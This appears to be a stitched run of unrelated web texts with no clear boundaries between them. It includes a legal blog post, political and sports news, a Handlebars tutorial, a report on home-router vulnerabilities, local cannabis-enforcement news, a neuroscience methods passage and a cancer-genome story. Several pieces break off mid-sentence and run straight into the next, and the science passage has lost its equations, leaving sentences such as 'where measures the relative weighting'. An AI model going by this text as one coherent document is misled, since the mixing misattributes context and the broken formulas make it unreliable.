Dave and Bob got the help of Adam Steinbaugh and Nicholas Weaver and put together a kick-ass brief. Dave wrote it, Adam assisted, and Nicholas acted as an expert demolishing Bogus Betty's technological arguments. Before the filing, Bogus Betty was threatening and refusing to negotiate. After receiving the filing, Bogus Betty was asking to negotiate. At the hearing, Bogus Betty asked for more time to cut a deal; the judge refused, required her to dismiss, told her there was nothing in her application warranting a restraining order, and told her not to come back with a case like that.
A beaten Bogus Betty cut a deal very satisfactory to Bob. Why am I not naming and shaming? Because Bob likes the deal and it's in his best interests and that's what I care most about. If I catch the dentist or Bogus Betty being censorious thugs again I'll drop the hammer on them in a heartbeat.
I say this over and over: the system is broken, because it allows people like this dentist and Bogus Betty to silence people like Bob by making low-risk threats and filing low-risk lawsuits. Most people can't afford to hire a lawyer to resist. The California anti-SLAPP statute is great, but it requires a capable lawyer up front.
There's only one way under the current system that people of modest means can be protected from thuggery. That way is the generosity and service of capable lawyers like David Casey and Adam Steinbaugh, as well as concerned non-lawyers like Nicholas Weaver. Thanks, gentlemen. You rock.
Will you answer the call?
Last 5 posts by Ken WhiteIt was a busy week in the fight to reform the marijuana laws in the United States. Some of the biggest news comes from Ohio, where a highly publicized ballot measure has been cleared for signatures. There was also some progress in Illinois to decriminalize marijuana, as well as momentum in Hawaii to study the decriminalization of all illegal drugs.
Read all about went down last week in the world of cannabis reform in the HIGH TIMES Legislative Roundup for March 28:
Ohio: Medical Marijuana Initiative Cleared for Signatures
Medical marijuana is back on track in Ohio. Attorney General Mike DeWine recently announced that the medical marijuana initiative supported by the Marijuana Policy Project had been cleared for the next level of review. The proposal then went before the Ohio Ballot Board where the five-member panel also gave approval. Organizers must now collect 305,591 verified voter signatures before July in order to earn a spot |
the Trump campaign in droves and why the president-elect has seemed hard-pressed to settle on a nominee for secretary of state.
Image copyright Getty Images Image caption Donald Trump campaigned against the Iraq War - and won
One man already on the Trump White House team, however, is retired General Michael Flynn - and he appears to support the kind of robust, interventionist foreign policy that Mr Trump dismissed.
In his recent book, The Field of Fight: How We Can Win the Global War Against Radical Islam and Its Allies, the man who is tabbed to become Mr Trump's national security adviser writes that the US is already fighting a global war.
"We face a working coalition that extends from North Korea and China to Russia, Iran, Syria, Cuba, Bolivia, Venezuela and Nicaragua," he writes. "We are under attack, not only from nation-states directly, but also from Al Qaeda, Hezbollah, Isis and countless other terrorist groups."
If Mr Flynn is joined on Mr Trump's foreign policy team by someone like John Bolton - an Iraq War architect whose name has been linked to the secretary of state job - President Trump may be considerably more hawkish on foreign policy than Candidate Trump ever was.
Mind the mine: The American public will follow a president into battle, but war is also an easy way to destroy a presidency. Just ask George W Bush. Or Lyndon Johnson. Or Harry Truman.
Going rogue
Mr Trump turned heads this week when he sat down with former Democratic Vice-President Al Gore to discuss climate change and global environmental issues.
He shocked many of his conservative backers a few weeks earlier when, after meeting with Mr Obama, he expressed support for some portions of the president's healthcare reform.
During the campaign he unveiled a childcare and maternity leave proposal that, in the words of conservative columnist Charles Krauthammer, "out-Democrats the Democrats".
Image copyright Getty Images Image caption Bipartisanship could make - or break - the Trump presidency
In other words, Mr Trump - who was a Democrat as recently as 2009 - has shown a proclivity for entertaining issues and positions that run counter to Republican orthodoxy.
There's certainly an upside for being a president who's willing to buck his own party and reach across the aisle for support. It was at the heart of Bill Clinton's "triangulation" strategy during his presidency, when he adopted and moderated popular Republican positions on welfare reform and crime-fighting to boost his own standing.
Such a course comes with its own set of risks, however, particularly for someone like Mr Trump. Embracing a liberal position could jeopardise his Republican backing in Congress and among the party's grass-roots supporters. Even with his best efforts, however, he will be hard-pressed to attract much love from the political left. His divisive presidential campaign has made him too much of a villain among Democrats for that to happen.
Mind the mine: Only Nixon could go to China, as the saying goes. Mr Trump could decide to break the partisan logjam and advance a popular progressive priority. Then again, when Nixon became mired in scandal, he was left with few Republican allies to protect him. It's not a happy place for a president to be.
Doing nothing
These possible pitfalls are enough to make even the most self-confident of politicians unsteady, reluctant to make a move lest they find the political ground crumbling beneath their feet.
Inaction is not an option for Mr Trump, however. He was elected to get results.
His supporters were so frustrated by years of partisan gridlock that they turned to an outsider - a political novice - in hopes of fixing a system they saw as hopelessly broken. More of the same is a losing proposition.
Mr Trump will have to find some policy wins if he wants to renew his lease on the White House in four years, and a few token wins - a saved Carrier plant here, a slightly less costly Air Force One contract there - likely won't cut it.
Mind the mine: If Trump does too much, he could be ruined. If he does too little, he could be ruined. He already has the lowest recorded popularity of any incoming White House occupant. There's a minefield ahead no matter which way he turns. Presidenting is hard.From the section
France head coach Philippe Saint-Andre has not included outside-half Francois Trinh-Duc in his squad for next month's three-Test series against New Zealand.
"He needs to rest after a long season," said Saint-Andre.
Eddy Ben Arous, Alexandre Flanquart, Camille Lopez, Remi Tales, Adrien Plante, Daniel Kotze, Bernard Le Roux and Noa Nakaitaci are the eight new faces in the 35-man squad.
France play the world champions on 8, 15 and 22 June.
Forwards: Eddy Ben Arous (Racing-Metro), Vincent Debaty (Clermont), Thomas Domingo (Clermont), Guilhem Guirado (Perpignan), Benjamin Kayser (Clermont), Dimitri Szarzewski (Racing-Metro), Luc Ducalcon (Clermont), Daniel Kotze (Clermont), Nicolas Mas (Perpignan), Alexandre Flanquart (Stade Francais), Yoann Maestri (Toulouse), Christophe Samson (Castres), Sebastien Vahaamahina (Perpignan), Yannick Nyanga (Toulouse), Fulgence Ouedraogo (Montpellier), Thierry Dusautoir (Toulouse, captain), Bernard Le Roux (Racing-Metro), Antonie Claassen (Castres), Louis Picamoles (Toulouse).
Backs: Maxime Machenaud (Racing-Metro), Morgan Parra (Clermont), Frederic Michalak (Toulon), Camille Lopez (Bordeaux-Begles), Remi Tales (Castres), Mathieu Bastareaud (Toulon), Gael Fickou (Toulouse), Wesley Fofana (Clermont), Florian Fritz (Toulouse), Maxime Mermoz (Toulon), Maxime Medard (Toulouse), Noa Nakaitaci (Clermont), Alexis Palisson (Toulon), Adrien Plante (Perpignan), Brice Dulin (Castres), Yoann Huget (Toulouse).A Peer 1 client wears a "therapeutic benefit" paper hat he made to remind himself of his bad attitude and to show his willingness to ask his Peer 1 brothers for support at Peer 1, a Therapeutic Community in Denver July 14, 2014. Peer 1 is a drug and alcohol rehabilitation program for men, many having spent years in and out of prison, in Denver, Colorado. The men have often tried and failed over and over to turn their life around. With histories of abuse as children and living on the streets, they come to Peer 1 hoping to turn away from addiction and crime, to rebuild their lives and learn how to integrate into society. Treatment includes family group therapy, meditation and trust-building exercises. REUTERS/Rick Wilking
CloseHorror is arguably one of the most popular genres in all of gaming, as it has helped define the industry itself. This could be attributed to a number of factors, but one of the most important is the sheer freedom of creativity the medium offers. There isn’t one formula for horror titles to follow, as they transcend a variety of popular archetypes such as RPGs, first-person shooters, and even turn-based strategy games. Though one has to wonder, with so many different types of horror games, which ones are the best in each genre? While some video games such as Resident Evil 2 helped define the survival-action genre, there could be an argument to be made that other games have perfected it better. However, it’s important to recognize that both the medium and culture around horror games has changed over the years. What was scary in the 90s can be seen as laughably silly today.
So, when deciding our list we factored in the time period that these titles released in and how much of an impact they had. We are looking for games that don’t just offer terrifying moments but build upon the foundations of each archetype in new and exciting ways. They have to not only feel like that specific type of game but have rock solid controls and nearly perfected gameplay. It’s also important to understand a lot of games will fall under similar genres, so not every great horror game may make it onto this list. That being said, these are the horror games that perfected each genre.Originally Posted by Evan Originally Posted by
That was a brilliant summarization Gabriel, and a fine and fitting epilogue to this thread. Now hopefully Brian will quietly shut it down, entomb it under several meters of concrete in a lead-lined container, where it will join the souls of the departed as a respectful monument, with only the inscription, "Here lies the destiny of presidential arrogance. May it stand forever as a lesson to the folly of leadership without respect for professional authority."
Of course we invite Northwester to open a new thread revealing the truth of these events, but only when and if any actual, as opposed to speculative, evidence should present itself, at which time we expect him to state in clear terms what he has determined to have actually transpired here. Knowing the truth is all that concerns us.
Or, barring that, no more will he poke the stick of conspiracy into the embers of this tragedy.
This thread, which deals with the crash, the subsequent investigations and the findings of those investigations, has exhausted itself. We need to put a lid on it if it is to have any value for future research.Indeed, Mr. Trump’s Twitter posts have become the communications equivalent of a mother who threatens to cancel the family vacation if her children do not unload the dishwasher — a noteworthy threat, but most likely empty. “Oddly enough, I think it’s fairly banal,” said Representative David Schweikert, Republican of Arizona and a member of the Freedom Caucus. “We are used to it. It goes with the job. He is not the first president who has attacked us, just the first from our own party.” Asked if he expected the White House to work closely with the group on further legislation he said, “The answer is yes.”
Mr. Trump’s Twitter account has long been seen as fear-inducing political weapon. And his message Thursday was the sort of warning shot many Republicans thought could be fired to enforce party discipline. But it seemed to have the opposite effect.
The reasons Mr. Trump’s threats may well have about as much bite as a catfish — scary appearance, weak teeth — are many.
The health care bill that the many House members rejected was extremely unpopular. Only 17 percent of Americans supported the proposal, according to a Quinnipiac poll released last week. Even among Republicans, the repeal-and-replace measure was barely tolerable: Just 41 percent of Republicans in the same survey said they approved of the bill. Many voters in states that Mr. Trump won benefit from the Affordable Care Act, derided as Obamacare, particularly in states that have expanded the Medicaid program.
In the most conservative districts where Mr. Trump may target lawmakers, such as that of Mr. Sanford, voters are likely more in sync with their representatives, who felt the rollback of the law did not go far enough, than their president, who simply wanted a win.
“These are not people subscribed to the Heritage Foundation,” Mr. Sanford said, referring to the conservative research group that opposed the Republicans’ doomed effort to repeal and replace the Affordable Care Act. “They’re not part of the intelligentsia of what happens in Washington. They’re just conservative folks.”
Further, Mr. Trump’s approval rating, at least for now, does not suggest that he has considerable sway among voters beyond his core supporters. Even if that improves, perhaps especially if that improves, Mr. Trump may find that he has more fruitful targets to pursue than fellow Republicans.The European Union’s inquiry into whether Apple had colluded with music labels to suppress competition from streaming music services like Spotify has concluded that no evidence exists to support such claims.
The investigation involved the questioning of executives from several of Apple’s partner labels to determine whether App Store limitations might “lock out” competitors.
The inquiry did reveal that Spotify has seen pressure lately from label executives who dislike free streaming, but found that the pressure wasn’t necessarily related to the launch of Apple Music.
The probe was originally launched amid suggestions that Apple’s licensing terms may have been aiming to stifle free, ad-based offerings from competitors like Spotify and Pandora. Though the EU found that this was not the case, regulators have said they will keep the files open as Spotify continues ongoing negotiations with music labels.
Apple’s policy of taking a 30% cut of all digital sales through the App Store—including streaming music subscriptions from Spotify and the like—are still under investigation both in the EU and the United States.Recap
Bosh returns to the lineup, Hornets top Heat 90-77
Posted Oct 04 2015 11:30PM
MIAMI (AP) Chris Bosh returned to the Miami Heat lineup and scored 14 points in a 90-77 loss to the Charlotte Hornets on Sunday night in a preseason game.
Bosh, who missed Miami's final 30 games last season because of blood clots in one of his lungs, played 23 minutes and grabbed seven rebounds.
Brian Roberts led the Hornets with 21 points.
HORNETS: Roberts shot 6 of 11 from the field and 3 of 4 from beyond the arc.
HEAT: Gerald Green and Amare Stoudemire each scored 12 points in their Miami debuts. Stoudemire also had six rebounds.
ROOKIE WATCH: Frank Kaminsky and Justice Winslow, the ninth and 10th selections, respectively, in the 2015 NBA draft, each scored nine points. Kaminsky also finished with 11 rebounds.
MIDSEASON FORM: Tyler Hansbrough made up for the inside presence lacking when Al Jefferson sat out Sunday's game. Hansbrough finished with a game-high 17 rebounds.
INJURY UPDATE: Michael Kidd-Gilchrist will have an MRI of his injured right shoulder Monday in Charlotte. Kidd-Gilchrist injured his shoulder in Saturday's preseason win over Orlando.
UP NEXT: Charlotte plays the Los Angeles Clippers Oct. 11 in the first of a two-game set of preseason exhibitions in China. Miami meets Orlando in Louisville, Kentucky on Wednesday.
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This story has been corrected to say that Brian Roberts scored 21 points, not 22.
Copyright 2015 by STATS LLC and Associated Press. Any commercial use or distribution without the express written consent of STATS LLC and Associated Press is strictly prohibitedWASHINGTON — President Obama called on congressional Republicans on Tuesday to take quick action to fund infrastructure projects throughout the country, arguing that failing to do so could mean huge layoffs for Americans this year.
Stepping up criticism of his opponents on Capitol Hill, Mr. Obama poked derisive fun at Republicans as he urged them to join Democrats to pass legislation that would replenish the Highway Trust Fund, which is expected to exhaust its resources by August.
“I haven’t heard a good reason why they haven’t acted,” Mr. Obama said in a speech at Georgetown Waterfront Park, overlooking the Potomac River and the Key Bridge, one of several bridges undergoing federally funded repairs after being deemed structurally deficient. “It’s not like they’ve been busy with other stuff. No, seriously!”
The president said that if Congress did not act in the next couple of months, states would have to decide which projects to continue and which to halt, ultimately placing as many as 700,000 jobs at risk.Handlebars has been gaining popularity with its adoption in frameworks like Meteor and Ember.js, but what is really going on behind the scenes of this exciting templating engine?
In this article we will take a deep look through the underlying process Handlebars goes through to compile your templates.
This article expects you to have read my previous introduction to Handlebars and as such assumes you know the basics of creating Handlebar templates.
When using a Handlebars template you probably know that you start by compiling the template's source into a function using Handlebars.compile() and then you use that function to generate the final HTML, passing in values for properties and placeholders.
But that seemingly simple compile function is actually doing quite a few steps behind the scenes, and that is what this article will really be about; let's take a look at a quick breakdown of the process:
Tokenize the source into components.
Process each token into a set of operations.
Convert the process stack into a function.
Run the function with the context and helpers to output some HTML.
The Setup
In this article we will be building a tool to analyze Handlebars templates at each of these steps, so to display the results a bit better on screen, I will be using the prism.js syntax highlighter created by the one and only Lea Verou. Download the minified source remembering to check JavaScript in the languages section.
The next step is to create a blank HTML file and fill it with the following:
It's just some boilerplate code which includes handlebars and prism and then set's up some divs for the different steps. At the bottom, you can see two script blocks: the first is for the template and the second is for our JS code.
I also wrote a little CSS to arrange everything a bit better, which you are free to add:
Next we need a template, so let's begin with the simplest template possible, just some static text:
Opening this page in your browser should result in the template being displayed in the output box as expected, nothing different yet, we now have to write the code to analyze the process at each of the other three stages.
Tokens
The first step handlebars performs on your template is to tokenize the source, what this means is we need to break the source apart into its individual components so that we can handle each piece appropriately. So for example, if there was some text with a placeholder in the middle, then Handlebars would separate the text before the placeholder placing it into one token, then the placeholder itself would be placed into another token, and lastly all the text after the placeholder would be placed into a third token. This is because those pieces need to both retain the order of the template but they also need to be processed differently.
This process is done using the Handlebars.parse() function, and what you get back is an object that contains all the segments or'statements'.
To better illustrate what I am talking about, let's create a list of paragraphs for each of the tokens taken out:
So we begin by running the templates source into Handlebars.parse to get the list of tokens. We then cycle through all the individual components and build up a set of human readable strings based on the segment's type. Plain text will have a type of "content" which we can then just output the string wrapped in quotes to show what it equals. Placeholders will have a type of "mustache" which we can then display along with their "id" (placeholder name). And last but not least, block helpers will have a type of "block" which we can then also just display the blocks internal "id" (block name).
Refreshing this now in the browser, you should see just a single'string' token, with our template's text.
Operations
Once handlebars has the collection of tokens, it cycles through each one and "generates" a list of predefined operations that need to be performed for the template to be compiled. This process is done using the Handlebars.Compiler() object, passing in the token object from step 1:
Here we are compiling the tokens into the operations sequence I talked about, and then we are cycling through each one and creating a similar list as in the first step, except here we just need to print the opcode. The opcode is the "operation's" or the function's 'name' that needs to be run for each element in the sequence.
Back in the browser, you now should see just a single operation called 'appendContent' which will append the value to the current 'buffer' or'string of text'. There are a lot of different opcodes and I don't think I am qualified to explain some of them, but doing a quick search in the source code for a given opcode will show you the function that will be run for it.
The Function
The last stage is to take the list of opcodes and to convert them into a function, it does this by reading the list of operations and smartly concatenating code for each one. Here is the code required to get at the function for this step:
The first line creates the compiler passing in the op sequence, and this line will return the final function used for generating the template. We then convert the function to a string and tell Prism to syntax highlight it.
With this final code, your page should look something like so:
This function is incredibly simple, since there was only one operation, it just returns the given string; let's now take a look at editing the template and seeing how these individually straight forward steps, group together to form a very powerful abstraction.
Examining Templates
Let's start with something simple, and let's simply replace the word 'World' with a placeholder; your new template should look like the following:
And don't forget to pass the variable in so that the output looks OK:
Running this, you will find that by adding just one simple placeholder, it complicates the process quite a bit.
The complicated if/else section is because it doesn't know if the placeholder is in fact a placeholder or a helper method
If you were still unsure about what tokens are, you should have a better idea now; as you can see in the picture, it split out the placeholder from the strings and created three individual components.
Next, in the operations section, there are quite a few additions. If you remember from before, to simply output some text, Handlebars uses the 'appendContent' operation, which is what you can now see on the top and bottom of the list (for both "Hello " and the "!"). The rest in the middle are all the operations needed to process the placeholder and append the escaped content.
Finally, in the bottom window, instead of just returning a string, this time it creates a buffer variable, and handles one token at a time. The complicated if/else section is because it doesn't know if the placeholder is in fact a placeholder or a helper method. So it tries to see if a helper method with the given name exists, in which case it will call the helper method and set'stack1' to the value. In the event it is a placeholder, it will assign the value from the context passed in (here named 'depth0') and if a function was passed in it will place the result of the function into the variable'stack1'. Once that is all done, it escapes it like we saw in the operations and appends it to the buffer.
For our next change, let's simply try the same template, except this time without escaping the results (to do this, add another curly brace "{{{name}}}" )
Refreshing the page, now you will see it removed the operation to escape the variable and instead it just appends it, this bubbles down into the function which now simply checks to make sure the value isn't a falsy value (besides 0) and then appends it without escaping it.
So I think placeholders are pretty straight forward, lets now take a look at using helper functions.
Helper Functions
There is no point in making this more complicated then it has to be, let's just create a simple function that will return the duplicate of a number passed in, so replace the template and add a new script block for the helper (before the other code):
I have decided to not escape it, as it makes the final function slightly simpler to read, but you can try both if you like. Anyways, running this should produce the following:
Here you can see it knows it is a helper, so instead of saying 'invokeAmbiguous' it now says 'invokeHelper' and therefore also in the function there is no longer an if/else block. It does still however make sure the helper exists and tries to fall back to the context for a function with the same name in the event it doesn't.
Another thing worth mentioning is you can see the parameters for helpers get passed in directly, and are actually hard coded in, if possible, when the function get's generated (the number 3 in the doubled function).
The last example I want to cover is about block helpers.
Block Helpers
Block helpers allow you to wrap other tokens inside a function which is able to set its own context and options. Let's take a look at an example using the default 'if' block helper:
Here we are checking if "name" is set in the current context, in which case we will display it, otherwise we output "World!". Running this in our analyzer, you will see only two tokens even though there are more; this is because each block is run as its own 'template' so all the tokens inside it (like {{{name}}} ) will not be part of the outer call, and you would need to extract it from the block's node itself.
Besides that, if you take a look at the function:
You can see that it actually compiles the block helper's functions into the template's function. There are two because one is the main function and the other is the inverse function (for when the parameter doesn't exist or is false). The main function: "program1" is exactly what we had before when we just had some text and a single placeholder, because like I mentioned, each of the block helper functions are built up and treated exactly like a regular template. They are then run through the "if" helper to receive the proper function which it will then append to the outer buffer.
Like before, it is worth mentioning that the first parameter to a block helper is the key itself, whereas the 'this' parameter is set to the entire passed in context, which can come in handy when building your own block helpers.
Conclusion
In this article we may not have taken a practical look at how to accomplish something in Handlebars, but I hope you got a better understanding of what exactly is going on behind the scenes which should allow you to build better templates and helpers with this new found knowledge.
I hope you enjoyed reading, like always if you have any questions feel free to contact me on Twitter (@GabrielManricks) or on the Nettuts+ IRC (#nettuts on freenode).In yet another testament of the awful state of home router security, a group of security researchers uncovered more than 60 vulnerabilities in 22 router models from different vendors, most of which were distributed by ISPs to customers.
The researchers performed the manual security review in preparation for their master’s thesis in IT security at Universidad Europea de Madrid in Spain. They published details about the vulnerabilities they found Sunday on the Full Disclosure security mailing list.
The flaws, most of which affect more than one router model, could allow attackers to bypass authentication on the devices; inject rogue code into their Web-based management interfaces; trick users into executing rogue actions on their routers when visiting compromised websites; read and write information on USB storage devices attached to the affected routers; reboot the devices, and more.
The vulnerable models listed by the researchers were: Observa Telecom AW4062, RTA01N, Home Station BHS-RTA and VH4032N; Comtrend WAP-5813n, CT-5365, AR-5387un and 536+; Sagem LiveBox Pro 2 SP and Fast 1201; Huawei HG553 and HG556a; Amper Xavi 7968, 7968+ and ASL-26555; D-Link DSL-2750B and DIR-600; Belkin F5D7632-4; Linksys WRT54GL; Astoria ARV7510; Netgear CG3100D and Zyxel P 660HW-B1A.
Some of the vulnerable Observa Telecom, Comtrend, ZyXEL and Amper models were distributed to customers by the Spanish ISP Telefonica. Vodafone also distributed one of the vulnerable Observa Telecom models, as well as the Huawei and Astoria ones.
The Sagem models were distributed by Orange, the Spanish ISP Jazztel distributed one of the Comtrend models and Ono, a Vodafone subsidiary in Spain, distributed the Netgear model.
Even though the group’s research focused on routers that were given by ISPs to customers in Spain, some of the same models were likely distributed by ISPs in other countries as well.
Past research has shown that the security of ISP-provided routers is often worse than that of off-the-shelf ones. Many such devices are configured for remote administration to allow ISPs to remotely update their settings or troubleshoot connection problems. This exposes the routers’ management interfaces along with any vulnerabilities in them to the Internet, increasing the risk of exploitation.
Even though ISPs have the ability to remotely update the firmware on the routers they distribute to customers, they often don’t and in some cases the users can’t do it either because they only have restricted access on the devices.
On the Observa Telecom RTA01N router, the Spanish research group found a hidden administrative account called admin with a hard-coded password that can be accessed via the Web-based management interface or via Telnet. Similar undocumented “backdoor” accounts have been found in other ISP-supplied routers in the past and were likely intended for remote support.
Twelve of the tested routers were vulnerable to cross-site request forgery (CSRF) attacks and in some cases it was possible to change their Domain Name System (DNS) configuration using the technique.
CSRF attacks use specifically crafted code inserted into malicious or compromised websites to force visitors’ browsers to execute unauthorized actions on a different website. If the visitors are already authenticated on the targeted website, the action will be executed with their privileges.
The target website can also be a router’s Web-based management interface that’s only accessible over the local area network, in which case the user’s browser allows the attacker to bridge the Internet and the LAN.
Security researchers recently uncovered a large-scale CSRF attack that targets over 40 router models and is designed to replace their primary DNS servers with a server controlled by hackers. Once that’s done, the attackers can spoof any websites that users behind those routers try to access and can snoop on their Internet traffic.
Another serious flaw discovered by the Spanish researchers allows unauthenticated, external attackers to view, modify or delete files on USB storage devices connected to the Observa Telecom VH4032N, Huawei HG553, Huawei HG556a and Astoria ARV7510 routers. A similar vulnerability was identified in the past on popular Asus routers.
While some people could have claimed in the past that routers are not a target for attackers, that’s no longer the case. There have been numerous large-scale attacks over the past several years that specifically targeted routers and other embedded devices: It’s time for users to view their routers as more than magical boxes that give them Internet access.Earlier this month, warning letters from Humboldt County’s Planning Department went out to a mere handful of growers, but the numbers are snowballing. This last week, 42 marijuana cultivators not in the permit process were sent correspondence informing them that they had a 10 day period to remove or mitigate environmental issues related to illegal cultivation or face $10,000 per day fines. If they did not pay the fines, their property could be seized and sold.
The letter contains two notices. According to Humboldt County Planning Department Director, John Ford, “One is a notice to abate and one is a notice violation…It is a way to let people know that the County is serious.” [Read the notice templates here–NOV (1) and NTA (1)]
“People who are in the permit process are not targets,” Ford said. However, he said, there are still code enforcement actions that are being taken to make sure that they also are not harming the environment.
Those who are receiving the letters are worried and angry, according to emails we’ve received. Ford responded to the objections. “One of the criticisms was that all the notices looked the same–that’s because all the violations looked the same,” he said. “They’re the same violations.” He particularly noted that illegal grading was a common theme across the parcels that received notices.
Ford explained the method of choosing the targets of the letter is relatively simple. He said, “We identify an area where there seem to be a number of unpermitted cultivation activities…We research to see if they are not permitted… We send a notice of violation and notice to abate and post in the Times Standard–two consecutive weekly ads.”
Ford said, “Our objective is not to levy huge fines. We want to bring sites that are not in compliance into compliance.” Ford said that the growers receiving the letters won’t necessarily face fines right away if they reach out to the Planning Department. “Our objective is to get them into a dialogue about how to resolve it within that 10 days,” he explained.
When an illegal grower who has received the letter contacts the Planning Department, Ford said, “We would ask are you willing to bring the site into compliance. We would look to set up a meeting to bring the site into compliance…. We want to offer the opportunity to give a time frame to bring the site into compliance…[However,] illegal activity needs to stop immediately.”
The object, Ford said, is not for the county to collect fines but rather to mitigate the environmental damage. “My primary hope is that we get sites into compliance,” he explained. “There will be costs associated with it. There will be fines and penalties, too, but the fines and penalties aren’t the prime objectives.”
The illegal growers that have received the letters have begun responding, Ford said in a series of interviews. “Every single person we sent the first batch of letters to has responded and met with county staff and are working towards a resolution….Some of them would like to get in the permit process but that really is not an option.” The permit process is currently closed to new applications. That might change but, Ford warned, it might not.
“A lot of the folks [getting the letters] have large amounts of grading and greenhouses that are constructed,” Ford said. “If we happen to find them [before they clean up their grows], they will be cited.”
He added that though there are a large number of illegal grows, County is increasing staff. “There are a lot of people who think the County is being way too lenient with the cannabis community,” he pointed out. “A lot of people complaining there is no enforcement. I think in the coming days, weeks, month that this will look very different.”
Ford pointed out that the County is expecting push back on their environmental report. “We’re likely to get challenged on the EIR for lack of enforcement,” he said. He then warned, “We expect enforcement will continue to ramp up. We don’t expect to be stopping for the winter.”
He had advice for illegal growers who had not yet received their notices. “Start mitigating before they are found,” he said. “Right now that is the only solution. That is the hard truth.”HAPPY ENDING: The Hobbit will be made in New Zealand, Prime Minister John Key has announced.
The Hobbit will be made in New Zealand, Prime Minister John Key has announced.
He said at a press conference this evening that new labour laws would be introduced to Parliament tomorrow to support this. It will apply only to the film industry.
Mr Key also announced The Hobbit will get a $20million ($15m US) tax rebate - US$7.5m per film - and said he would be surprised if the films were the last to be made by Warners in New Zealand.
MARK TAYLOR/Waikato Times HELEN KELLY: The CTU leader says the Government appeared poised to change the test for all workers.
The Government will also offset U$10m of Warner Brothers' marketing costs. In exchange Warner Brothers will work with the government to promote New Zealand as a film production and tourism destination.
Marketing from the movies will be worth ''tens of millions'' to New Zealand, Mr Key said.
The future of the $670 million production hung in the balance after an actors union issued a no-work order on the films last month.
Talks were held overnight with studio executives from Warner Brothers to resolve concerns about industrial laws in New Zealand.
But the studio was also holding out for a bigger tax subsidy from the Government.
The film's executive producer Sir Peter Jackson would "be a very happy camper" Mr Key said at the announcement.
The movie will premiere in New Zealand and the Government would plan a major campaign promoting the country to coincide with its launch, Mr Key said.
"It's good to have the uncertainty over, and to have everyone now full steam ahead on this project."
He said he thought the Government had got the package right. A memorandum of understanding with Warner Brothers was signed at around 7pm tonight.
It was "unacceptable" to the New Zealand public to have the film go offshore, he said.
He believed the new legislation would not take rights off workers.
Without those changes to the law it was a no go, Mr Key said.
"I am delighted we have achieved this result," Mr key said.
It will safeguard work for thousands and "put New Zealand on the world stage".
National already have the backing of the ACT party and United Future for the legislation and are talking to the Maori party. They will also discuss the changes with Labour, he said.
Mr Key was returning to his office to call Sir Peter Jackson. He had not spoken to him since yesterday morning.
EARLIER TODAY
Mr Key earlier said overnight talks with executives from the US studio had gone a long way towards resolving concerns about industrial laws in New Zealand.
Negotiation came down to how much the Government was prepared to subsidise the producers.
But Mr Key said there was still a huge gulf between Warner Bros' demands for a bigger taxpayer subsidy and what the Government was willing to pay.
"I think it's fair to say on the financial side there's a fair bit of hardball being played on both sides.
"We have the capacity to move a little bit, but we don't have the capacity to write out cheques that we can't afford to cash."
He said if it was "just a matter of dollars and cents" the Government was not prepared to bridge the gap between what other countries offered and the 15 per cent tax breaks available here.
He said Warner Bros was asking for "lots" and the Government was offering "not lots".
However, things were looking more promising on the industrial law front.
"We got some good advice overnight and I think that's an area which is looking increasingly more likely that we can reach agreement. There's a greater degree of confidence. That's looking more optimistic, but on the financial side of things at the moment, it's looking pretty difficult."
He said the difference over financial incentives meant he was still only 50-50 confident the films would be made here.
He signalled that the Government was almost sure to change the law to clarify when someone was a contractor and when they were an employee, but would not say whether it would apply just to the two Hobbit films, the film sector in general or all workers.
He rejected claims from Council of Trade Unions president Helen Kelly that the Government was using Warner Bros' threat to move |
ynaptic partner we tested the following reproducible direct anatomical connections with, on average, five or more synapses per connection:
For the anatomical connection from MD IV onto Basin-1 with only two synapses per connection on average, the functional connectivity experiments did not reveal a functional excitatory connection (Fig. 3a).
Model of multilevel convergence
The model consists of two sensory inputs processed in two layers (Extended Data Fig. 8a). The sensory inputs, chordotonal and MD IV, have activity E Mech and E Noci respectively. Sensory input intensity can range from 0–100 (arbitrary units), with the maximum value intended to approximate the highest intensity stimulus provided in the behavioural experiments of Fig. 1. The first processing layer has two nodes, each representing one or more neurons: (1) a ‘pure’ node with output g P (E Mech ) that receives only mechanosensory input; and (2) a ‘mixed’ node with output g M (E Mech,E Noci ) that receives input from both sensory modalities. The second processing layer is a single node with output g B (g P, g M ) that receives input from both nodes of the first processing layer. The output of the second layer constitutes the output of the circuit.
We considered the steady-state output of the network, assuming that the response of each node is a sigmoidal function of its total input, with a lower threshold below which output is near-zero and an upper saturation point. We modelled this as a logistic function78:
with total input E, threshold θ, transition width β, and a constant C θ, β defined so that f(100) = 100. We set β = 10 for all nodes, which makes the transition between low and high output cover about half of the input range. We omit β in subsequent equations for brevity.
The output of the pure node in the first processing layer is given by:.
For the mixed node, we take the total input to be a weighted sum of the sensory inputs:
where measures the relative weighting of mechanosensory input. To require that the maximum total input each node can receive is the same, the weights sum to one.
For the second layer, we take total input to be a weighted sum of the outputs from the nodes in the first layer:
where measures the weighting of the pure chordotonal node in the first layer.
A common feature of multisensory circuits is their enhanced sensitivity to combinations of weak stimuli presented together. To consider this property in the context of our circuit, we looked for circuit responses that are maximally sensitive to multisensory stimuli, but that are also consistent with basic experimental observations. We treated this as a constrained optimization problem; we found mixing parameters w M and w B that optimize a measure of multisensory sensitivity, subject to the constraint that the responses to unimodal stimuli are similar to experimental observations (Extended Data Fig. 8b–d). We looked at the resulting solutions for a range of threshold parameters.
For the sensitivity measure, we assumed that the optimal solutions are responsive to combinations of both inputs (Extended Data Fig. 8b), as measured by the integrated response along a Gaussian-weighted band centred along the E Mech = E Noci diagonal line:
where d measures the width of the band, which we set to 20 (Extended Data Fig. 8c). Although this condition alone would encourage strong responses to extremely low values of input stimulus, an undesirable situation, the combination of the constraint and the monotonicity of the response functions ensure that this cannot occur.
For the constraint, we demanded that intense unimodal input match observations (see Fig. 1c): (1) that intense, pure chordotonal input induced no rolling; and (2) intense, pure MD IV input induced a modest, but non-zero, fraction of animals to roll (Extended Data Fig. 8d). We quantified this as:
where we set a Noci = 30 and a Mech = 0 (Extended Data Fig. 8e).Please turn on JavaScript. Media requires JavaScript to play. Advertisement By Michelle Roberts
Health reporter, BBC News
Scientists have unlocked the entire genetic code of two of the most common cancers - skin and lung - a move they say could revolutionise cancer care. Not only will the cancer maps pave the way for blood tests to spot tumours far earlier, they will also yield new drug targets, says the Wellcome Trust team. Scientists around the globe are now working to catalogue all the genes that go wrong in many types of human cancer. The UK is looking at breast cancer, Japan at liver and India at mouth. China is studying stomach cancer, and the US is looking at cancers of the brain, ovary and pancreas. These catalogues are going to change the way we think about individual cancers
